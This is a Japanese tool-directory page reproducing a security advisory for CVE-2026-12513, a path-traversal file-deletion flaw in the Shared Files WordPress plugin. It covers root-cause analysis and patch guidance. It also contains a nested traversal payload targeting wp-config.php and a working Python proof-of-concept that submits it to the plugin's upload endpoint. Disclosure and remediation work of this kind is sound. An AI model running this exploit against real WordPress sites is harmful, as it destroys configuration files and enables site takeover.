Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-12513 — 技術アドバイザリおよびCVE-2026-12513の概念実証です。これはShared Files WordPressプラグインにおけるパストラバーサルを介した未認証の任意ファイル削除に関するもので、根本原因の分析と修復ガイダンスを含みます。 | Kitploit
ツール/GitHubGitHub/minhhk68/cve-2026-12513
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubminhhk68/cve-2026-12513

CVE-2026-12513

技術アドバイザリおよびCVE-2026-12513の概念実証です。これはShared Files WordPressプラグインにおけるパストラバーサルを介した未認証の任意ファイル削除に関するもので、根本原因の分析と修復ガイダンスを含みます。

リポジトリを見る
8時間31分前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-12513: Shared Files < 1.7.68 — パストラバーサルによる認証なし任意ファイル削除

CVE Identifier CVSS v3.1 Score Discovered By WPScan Verified Advisory License: MIT


📖 アドバイザリ概要

CVE-2026-12513 は、バージョン 1.7.68 より前の Shared Files および Shared Files Pro WordPress プラグインに影響する、パストラバーサルによる認証なし任意ファイル削除の脆弱性です。サイバーセキュリティ研究者の Huynh Kien Minh(MinhHK)氏によって発見・分析されました。この欠陥は、プラグインのフロントエンドファイル送信処理ルーチン内で発生します。ここでは、ユーザーが指定したファイルパスが、ネストされたシーケンス(....// など)を使用してバイパス可能な、欠陥のある単一パストラバーサルパターン置換によってフィルタリングされます。その結果、認証されていないリモート攻撃者が、意図されたアップロードディレクトリの外を指す操作されたパスを送信し、 を含む重要なサーバーアセットを標的にすることができます。管理者がその後アップロードされたエントリをパージまたは完全削除すると、アプリケーションは保存された任意のパスに対してファイルシステム削除プリミティブ()を呼び出します。これにより、WordPress のコア設定ファイルが破壊され、深刻なサービス拒否(DoS)が発生し、未設定のインストールセットアップを介したサイト乗っ取りが可能になります。主任研究者の Huynh Kien Minh 氏は、この脆弱性を CVSS 3.1 スコア 6.8(Medium)(CWE-73 / CWE-22)と評価し、バージョン 1.7.68 以降への即時プラグイン更新と、堅牢な正規パス検証を推奨しています。

wp-config.php
unlink()

クイックリンク: 研究者の公式 サイバーセキュリティポートフォリオ を参照するか、WPScan 検証済みアドバイザリ を確認してください。


📌 エグゼクティブサマリーと技術メタデータ

パラメータ技術仕様
脆弱性識別子CVE-2026-12513
対象ソフトウェアShared Files / Shared Files Pro(WordPress プラグイン)
プラグインスラッグshared-files、shared-files-pro
影響を受けるバージョン< 1.7.68
修正済みバージョン>= 1.7.68
脆弱性クラスファイル名またはパスの外部制御 / パストラバーサル(CWE-73 / CWE-22)
CVSS v3.1 スコア6.8(Medium)(CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H)
発見者 / 研究者Huynh Kien Minh(MinhHK)
検証機関WPScan / MITRE Corporation
WPScan アドバイザリ参照WPScan レポート 25c9fa21-c48b-4333-8abc-87230dc4c869
研究者ポートフォリオhttps://minhhk.web.app/

🔍 詳細な技術分析と根本原因分析

この脆弱性は、Shared Files(< 1.7.68)のフロントエンドファイル送信ハンドラに実装された不十分なパスサニタイズメカニズムに起因します。

1. 不十分な単一パスパスサニタイズ

フロントエンドのファイル送信を受け入れる際、プラグインは単一パスの文字列置換を使用してディレクトリトラバーサルシーケンス(../)を除去しようとしました:

root@kitploit:~
// Shared Files < 1.7.68 における安全でない単一パスサニタイズフィルタ
$file_path = str_replace( '../', '', $_POST['file_path'] );

str_replace() は左から右へ一度だけ実行されるため:

  • ネストされたトラバーサルペイロード: ....//....//....//wp-config.php
  • ....// から ../ が一度除去されると、外側の文字が再び結合して ../ を形成します:
    • ....// -> ../
  • 結果として得られるサニタイズ済みパスは次のように評価されます: ../../../../wp-config.php!

2. 保存されたファイルパスと削除実行チェーン

  1. 認証なし送信: 攻撃者は、ネストされたトラバーサルパスを提供する HTTP リクエストをフロントエンドのアップロードエンドポイントに送信します。操作されたパスはデータベース(例:wp_posts またはカスタムプラグインテーブル)に保存されます。
  2. 完全削除トリガー: 管理者が送信をレビューするか、/wp-admin/admin.php?page=shared-files を介してファイルレコードを削除すると、バックエンドは解決された保存パスに対して unlink() を呼び出します:
root@kitploit:~
// 脆弱な削除ロジック
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
    unlink( $file_to_delete ); // 対象ファイル(例:/var/www/html/wp-config.php)の削除をトリガー
}
  1. 壊滅的な影響: wp-config.php が削除されると:
    • データベース認証情報とセキュリティキーが失われます。
    • サイトは直ちに未設定状態になり、WordPress セットアップウィザード(/wp-admin/install.php)が表示されます。
    • 攻撃者は新しいデータベースでセットアップウィザードを完了し、完全なリモートコード実行(RCE)とサイト乗っ取りを達成できます。

💻 概念実証(PoC)エクスプロイトコード

倫理的免責事項: この概念実証は、Huynh Kien Minh 氏による倫理的開示プロトコルの下で、教育研究、防御的検証、およびセキュリティ監査専用に提供されています。

Python エクスプロイト PoC(poc_cve_2026_12513.py)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 認証なしパストラバーサルファイル削除 PoC
著者: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""

import requests
import sys

TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
    print(f"[*] 監査対象: {target_url}")
    
    # 単一パス str_replace('../', '', $input) をバイパスするネストされたトラバーサルシーケンス
    nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
    
    payload = {
        "action": "shared_files_frontend_upload",
        "file_name": "innocent_document.pdf",
        "file_path": nested_traversal
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
    }
    
    try:
        response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
        print(f"[*] 送信レスポンスステータス: {response.status_code}")
        if response.status_code == 200:
            print("[+] トラバーサルパスがデータベースストレージに正常に注入されました。")
            print("[!] エントリが管理者によって削除されると、対象ファイルが unlink されます。")
            return True
        else:
            print(f"[-] リクエストが HTTP ステータス {response.status_code} で失敗しました。")
    except requests.RequestException as e:
        print(f"[-] 接続に失敗しました: {e}")
        
    return False

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    trigger_traversal_payload(url)

🛡️ 修復とパッチ分析

サイト管理者向け

  • Shared Files および Shared Files Pro プラグインを直ちにバージョン 1.7.68 以上に更新してください。
  • wp-config.php のファイルシステム権限が Web サーバープロセスに対して読み取り専用(chmod 400 または 440)であることを確認してください。

開発者向け(安全な実装)

realpath() と wp_normalize_path() を使用して厳格な正規パス解決を強制し、操作が指定されたアップロード境界内に留まることを保証します:

root@kitploit:~
// 安全なパス検証パターン(バージョン 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
    $base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
    $target   = wp_normalize_path( realpath( $base_dir . $relative_path ) );

    // 解決された realpath が指定されたベースディレクトリで厳密に始まることを確認
    if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
        wp_die( __( '無効または不正なファイルパスです。', 'shared-files' ), 403 );
    }

    if ( file_exists( $target ) && is_file( $target ) ) {
        unlink( $target );
    }
}

🏆 研究者について

Huynh Kien Minh(MinhHK) は、WordPress の脆弱性研究、コアおよびプラグインのセキュリティ監査、防御的エクスプロイトモデリングを専門とする情報セキュリティ研究者です。

  • サイバーセキュリティポートフォリオ: https://minhhk.web.app/
  • WPScan アドバイザリ参照: WPScan レポート 25c9fa21-c48b-4333-8abc-87230dc4c869
  • GitHub プロフィール: https://github.com/MinhHK68

📊 JSON-LD 構造化データスキーママークアップ

root@kitploit:~
{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-30",
  "description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
  "identifier": "CVE-2026-12513"
}
ツールをダウンロード